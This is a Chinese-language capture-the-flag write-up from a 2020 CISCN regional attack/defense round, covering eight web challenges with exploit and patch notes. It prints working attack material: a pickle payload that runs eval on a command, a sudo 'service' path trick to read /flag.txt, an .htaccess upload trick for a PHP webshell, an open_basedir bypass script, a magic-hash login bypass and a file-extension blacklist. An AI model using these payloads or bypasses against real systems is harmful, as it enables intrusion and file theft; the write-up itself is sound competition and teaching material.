国赛分区赛,因为懒得出题干脆就不交了,所以我们满分是85……加上队里PWN大佬第一天不在所以只做了1条PWN,不过就这好像还是前三emmmm

web1 | SOLVED/FIXED

Break

可以上传,不知道保存位置,扫目录发现www.zip,看了看代码可以用一个 %s 的文件名先把保存路径爆出来,因为他是这么搞得

1
2
3
foreach($fileinfo as $key => $value){
$msg = sprintf($msg, $value);
}

然后就是绕waf了

1
2
3
4
5
6
7
8
$meow = $this->data;
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx","<",">","jsw", "jsv", "jspf","jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer","{","}", "swf", "htaccess", "ini");
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $meow)) {
echo '<img src="images/cat1.gif"/><br>';
die("Meow,Meow,Meow! Are u a bad guy?");
}
}

这个waf比较严好像绕不了,再翻了翻源码发现一个cat.php的提示,在 me0w_mE0w_miA0/cat.php 下可以找到,发现还有个vim的提示,那么看看备份文件 me0w_mE0w_miA0/.cat.php.swpvim -r 恢复一下就能看到一个反序列化了。看到了 spl_autoload_register(); 想了想好像有个对象注入的东西,抄作业:https://das.scusec.org/2016/05/19/php-obj-injection/

注意作业中的.inc需要在前面加上 <?php 头,然后因为过滤了 {} 序列化之后末尾的 {} 可以直接去掉,虽然会报错但是命令还是能执行。

Fix

ban掉inc后缀就行,里面没什么用的 cat 类可能是给checker的所以不能删也不能去掉反序列化的代码。

web2 | OPEN/FIXED

Break

大概第一步是excel xxe不过好像没网打不回来……尴尬,然后主办方给hint了果然没网,翻了翻好像可以目录穿越但是似乎目录命名有点问题打不出来,不知道咋做。

Fix

既然不会做那就xjb ban一些东西吧…… stream_wrapper_unregister 把什么zlib之类的ban了,然后正则匹配把 $fd 高危的 ph/htaccess/ini 之类的也ban了,好像过了checker。。。

web3 | OPEN/FIXED

Break

二维码不知道为啥生成的不行,想摸鱼了没搞。

Fix

看了看源码好像是条注入,挺多注入点,偷懒就在两个 select 连接处过滤一下然后 is_numeric 限制id为数字,竟然过了……

web4 | SOLVED/FIXED

Break

类似half_infiltration,抄作业:https://www.4hou.com/posts/yMvW ,文件上传用 .htaccess
P.S. 当时弱智的waf搞得心态爆炸……

Fix

ban掉htaccess

web5 | SOLVED/FIXED

Break

摘抄大佬wp,过于简略。。(我才不会说我没看)

1
2
3
4
5
6
7
8
9
10
11
"\x80\x03c__main__\nwebSite\nq\x00)\x81q\x01}q\x02(S'name'\nq\x03cbuiltins\neval\n(Vstr(%s)\ntRq\x04S'describe'\nq\x05S'1234'\nq\x06ub." % cmd

sudo -l
Matching Defaults entries for ciscn on 20c26fd45569:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User ciscn may run the following commands on 20c26fd45569:
(dragon_lord : dragon_lord) NOPASSWD: /home/dragon_lord/Wait_3_years
(dragon_lord : dragon_lord) NOPASSWD: /usr/sbin/service

cd /usr/bin && sudo -u dragon_lord /usr/sbin/service …/…/bin/cat /flag.txt

Fix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from flask import Flask,request,redirect, render_template,Response,send_from_directory
from werkzeug.utils import secure_filename
import pickle
import os
import base64
app=Flask(__name__)
import io

class webSite:
def __init__(self,name='CISCN2020',describe='这比赛, 不打也罢!'):
self.name=name
self.describe=describe


class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):

if module == "__main__" and name == 'webSite':
return webSite
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


site=webSite()


@app.route('/')
def none():
return redirect('/index.php')
@app.route('/index.php')
def index():
global site
try:
if ("{" in site.name and "}" in site.name) or ("{" in site.describe and "}" in site.describe):
if ('LOL, No SSTI' not in site.name )and ('LOL, No SSTI' not in site.describe):
site.name+="LOL, No SSTI"
site.describe+="LOL, No SSTI"
return render_template('index.html',name=site.name,des=site.describe,img='hit.gif',hit='1000')
return render_template('index.html',name=site.name,des=site.describe,img='waizui.png',hit='500')
except Exception:
site=webSite(name='Error',describe='Error')
return render_template('index.html',name=site.name,des=site.describe,img='waizui.png',hit='500')
@app.route('/manage.php',methods=["GET","POST"])
def manage():
global site
newName=request.args.get("name")
newdes=request.args.get('describe')
if newName:
site.name=newName
if newdes:
site.describe=newdes

with open('./data.pickle','wb')as f:
pickle.dump(site,f)
return redirect('/')

@app.route('/data.pickle')
def pull():
global site
with open('./data.pickle','wb')as f:
pickle.dump(site,f)
return send_from_directory('./','data.pickle',as_attachment=True)
@app.route('/push.php',methods=['POST'])
def push():
if request.method == 'POST':
if 'file' not in request.files:
return('No File!')
file = request.files['file']
if file.filename == '':
return 'no File Name!'
filename = secure_filename(file.filename)
file.save(filename)
if 1:
with open('./'+filename,'rb') as f:
s=f.read()
# if b'R' in s:
# return '''
# NO "R" !! NO __REDUCE__()!!
# '''
global site
# site=pickle.loads(s)
try:
site = restricted_loads(s)
except pickle.UnpicklingError:
site = webSite(name='Error',describe='Error')
return redirect('/')



if __name__ == "__main__":

app.run(host='0.0.0.0',port=80,debug=0)

web6 | SOLVED/?

Break

.htaccess 送分题

1
2
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg

shell编码后改成1.jpg上传

Fix

ban htaccess

web7 | SOLVED/?

Break

tkmk tql
这道题质量挺高,首先发现token是弱类型比较 $_SESSION["token"] == "0" 可以用0e绕过,找了一个用户名密码用 | 拼接后base64是0e开头的,b’\xd1\xed4\xd3M|\xd3M4’,登录admin。
然后可以上传webshell,名字叫file,就传到了 config/admin/$row[‘upload’]/profile,但是我们没办法包含,因为admin是写死路径的,只有用户可以控制路径……
接着翻代码发现cache可以传一个iv上去,cbc反转可以把data里面的username的最后换成反斜杠(username adm, iv cbcisfunsoisbaKT),转义后面的单引号就可以注入了,得到路径 xXxOoopsYouFoundMexXx,发现 admin/xXxOoopsYouFoundMexXx/ 解开base64里面刚好有个竖线(凑得真好),用这个登录就会include上面的profile啦

P.S. 最后因为转义编码之类的问题结束前4分钟才交上去= =

Fix

瞎fix了一些……iv固定,比较换成===,不知道能不能过。。

web8 | SOLVED/?

Break

还是抄作业:https://250.ac.cn/2020/08/21/2020-ciscn-WriteUp/#babyunserialize
(看来大家都不想出题嘛hhh不过我们连水一道都懒……)
唯一变化就是绕open_basedir

1
2
3
4
5
6
7
8
9
<?php
mkdir('Von');
chdir('Von');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/flag.txt');

诶……要是PWN大佬第一天在好像就第一了……